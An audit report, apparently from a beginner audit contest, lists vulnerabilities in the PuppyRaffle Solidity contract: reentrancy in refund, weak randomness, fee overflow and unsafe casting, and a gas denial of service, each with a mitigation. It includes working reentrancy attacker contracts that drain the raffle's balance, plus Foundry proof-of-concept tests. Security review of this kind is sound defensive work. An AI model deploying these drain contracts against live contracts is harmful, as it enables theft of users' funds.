Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

stash21x

Description: The PuppyRaffle::refund function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
@> payable(msg.sender).sendValue(entranceFee);
@> players[playerIndex] = address(0);
​
emit RaffleRefunded(playerAddress);
}

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

  1. User enters the raffle

  2. Attacker sets up a contract with a fallback function that calls PuppyRaffle::refund

  3. Attacker enters the raffle

  4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into PuppyRaffleTest.t.sol

function test_reentrancyRefund() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
address attackUser = makeAddr("attacker");
vm.deal(attackUser, 1 ether);
​
uint256 startingAttackContractBalance = address(attackerContract).balance;
uint256 startingContractBalance = address(puppyRaffle).balance;
​
// attack
vm.prank(attackUser);
attackerContract.attack{value: entranceFee}();
​
console.log("starting attacker contract balance: ", startingAttackContractBalance);
console.log("starting contract balance: ", startingContractBalance);
​
console.log("ending attacker contract balance: ", address(attackerContract).balance);
console.log("ending contract balance: ", address(puppyRaffle).balance);
}

And this contract as well.

contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
​
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}
​
function _stealMoney() internal {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
​
fallback() external payable {
_stealMoney();
}
​
receive() external payable {
_stealMoney();
}
}

Recommended Mitigation: To prevent this, we should have the PuppyRaffle::refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

[H-2] Weak randomness in PuppyRaffle::selectWinner allows users to influence or predict a winner and influence or predict the winning puppy

Description: Hashing msg.sender, block.timestamp, and block.difficulty, together creates apredictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call refund if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

  1. Validators can know ahead of time the block.timestamp and block.difficulty and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with prevrandao.

  2. Users can mine/manipulate their msg.sender value to result in their address being used to generate the winner!

  3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

uint64 myVar = type(uin64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

  1. We conclude a raffle of 4 players

  2. We then have 89 players enter a new raffle, and conclude the raffle

  3. totalFees will be:

totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 1780000000000000000
// and this will overflow!
totalFees = 153255926290448384

  1. you will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much balance in the contract that the above require will be impossible to hit.

Code
function testTotalFeesOverflow() public playersEntered {
// We finish a raffle of 4 to collect some fees
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
uint256 startingTotalFees = puppyRaffle.totalFees();
// startingTotalFees = 800000000000000000
​
// We then have 89 players enter a new raffle
uint256 playersNum = 89;
address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
players[i] = address(i + 100);
}
puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
// We end the raffle
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
// And here is where the issue occurs
// We will now have fewer fees even though we just finished a second raffle
puppyRaffle.selectWinner();
​
uint256 endingTotalFees = puppyRaffle.totalFees();
console.log("ending total fees", endingTotalFees);
assert(endingTotalFees < startingTotalFees);
​
// We are also unable to withdraw any fees because of the require check
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Recommended Mitigation: There are a few possible mitigations.

  1. Use a newer version of solidity, a uint256 instead of uint64 for PuppyRaffle::totalFees

  2. You could also the SafeMath library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the uint64 type if too many fees are collected.

  3. Remove the balance check from PuppyRaffle::withdrawFees

- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");

There are more attack vectors with that final require, so we recommend removing it regardless.

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potentiial denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional players array, is an addittiona check the loop will have to make.

// @audit DoS Attack
for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

Impact: The gas costs for Raffle entrants will greatly increase as more players enter the raffle. Discouraging later users to from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::entrants array so big that no one enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

  • 1st 100 players: ~6252048 gas

  • 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the 2nd 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.
function test_denialOfService() public {
uint256 playersNum = 100;
address[] memory players = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
players[i] = address(i);
}
// see how much gas it costs
uint256 gasStart = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
uint256 gasEnd = gasleft();
​
uint256 gasUsedFirst = gasStart - gasEnd;
​
// now for the 2nd 100 players
address[] memory playersTwo = new address[](playersNum);
for (uint256 i = 0; i < playersNum; i++) {
playersTwo[i] = address(i + playersNum); // 0, 1, 2, -> 100, 101, 102
}
// see how much gas it costs
uint256 gasStartSecond = gasleft();
puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
uint256 gasEndSecond = gasleft();
​
uint256 gasUsedSecond = gasStartSecond - gasEndSecond;
​
assert(gasUsedFirst < gasUsedSecond);
}

Recommended Mitigation: There are a few recommendations.

  1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.

  2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

+ mapping(address => uint256) public addressToRaffleId;
+ uint256 public raffleId = 0;
​
​
function enterRaffle(address[] memory newPlayers) public players {
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
for (uint256 i = 0; i < newPlayers.length; i++) {
players.push(newPlayers[i]);
+ addressToRaffleId[newPlayers[i]] = raffleId;
}
- // Check for duplicates
+ // Check for duplicates only from the new players
+ for (uint256 i = 0; i < newPlayers.length; i++) {
+ require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+ }
- for (uint256 i = 0; i < players.length; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
- require(players[i] != players[j], "PuppyRaffle:Duplicate player");
- }
- }
emit RaffleEnter(newPlayers);
}
​
​
function selectWinner() external {
raffleId = raffleId + 1;
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
}

Alternatively, you could use [OpenZeppelin's EnumerableSet library] (https://docs.openzeppelin.com/contracts/4.x/api/utils#EnumerableSet).

[M-2] Unsafe cast of PuppyRaffle::totalFees loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type(uint64).max, the value will be truncated.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 fee = totalFees / 10;
uint256 winnings = address(this).balance - fee;
@> totalFees = totalFees + uint64(fee);
players = new address[](0);
emit RaffleWinner(winner, winnings);
}

The max value of a uint64 is 18446744073709551615, In terms of ETH, this is only ~18 ETH. Meaning, if more than 18 ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

  1. A raffle proceeds with a little more than 18 ETH worth of fees collected

  2. The line that casts the fee as a uint64 hits

  3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
​
​
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;

[M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the selectWinner function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The PuppyRaffle::selectWinner function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

  1. 10 smart contract wallets enter the lottery without a fallback or receive function.

  2. The lottery ends

  3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

  1. Do not allow smart contract wallet entrants (not recommended)

  2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new claimPrize function, putting the owness on the winner to claim their prize. (Recommended)

Pull over Push

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

/// @return the index of the player in the array, if they are not active, it returns 0
function getActivePlayerIndex(address player) external view returns (uint256) {
for (uint256 i = 0; i < players.length; i++) {
if (players[i] == player) {
return i;
}
}
return 0;
}

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

  1. User enters the raffle, they are the first entrant

  2. PuppyRaffle::getActivePlayerIndex returns 0

  3. User thinks they have not entered correctly due to the function documentation

Recommeded Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competitiion, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

  • PuppyRaffle::raffleDuration should be immutable

  • PuppyRaffle:commonImageUri should be constant

  • PuppyRaffle::rareImageUri should be constant

  • PuppyRaffle::legendaryImageUri should be constant

[G-2] Storage variables in a loop should be cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

+ uint256 playerLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 j = i + 1; j < players.length; j++) {
+ for (uint256 j = i + 1; j < playersLength; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}

[I-1] Solidity pragma should be sepcific, not wide

Consider using a sepcific version of Solidity in your contracts instead of a wide version.
For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

  • Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation:
Deploy with any of the following Solidity versions:

0.8.18
The recommendations take into account:
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentations for more information.

[I-3]: Missing checks for address(0) when assigning values for address(0).

Assigning values to address state variables without checking for address(0).

  • Found in src/PuppyRaffle.sol: 8662:23:35

  • Found in src/PuppyRaffle.sol: 3165:24:35

  • Found in src/PuppyRaffle.sol: 9809:26:35

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;

Instead, you could use:

uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

[I-6] State changes are missing events

[I-7] PuppyRaffle::_isActivePlayer is never used and should be removed

Additional findings not taught in course

MEV

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!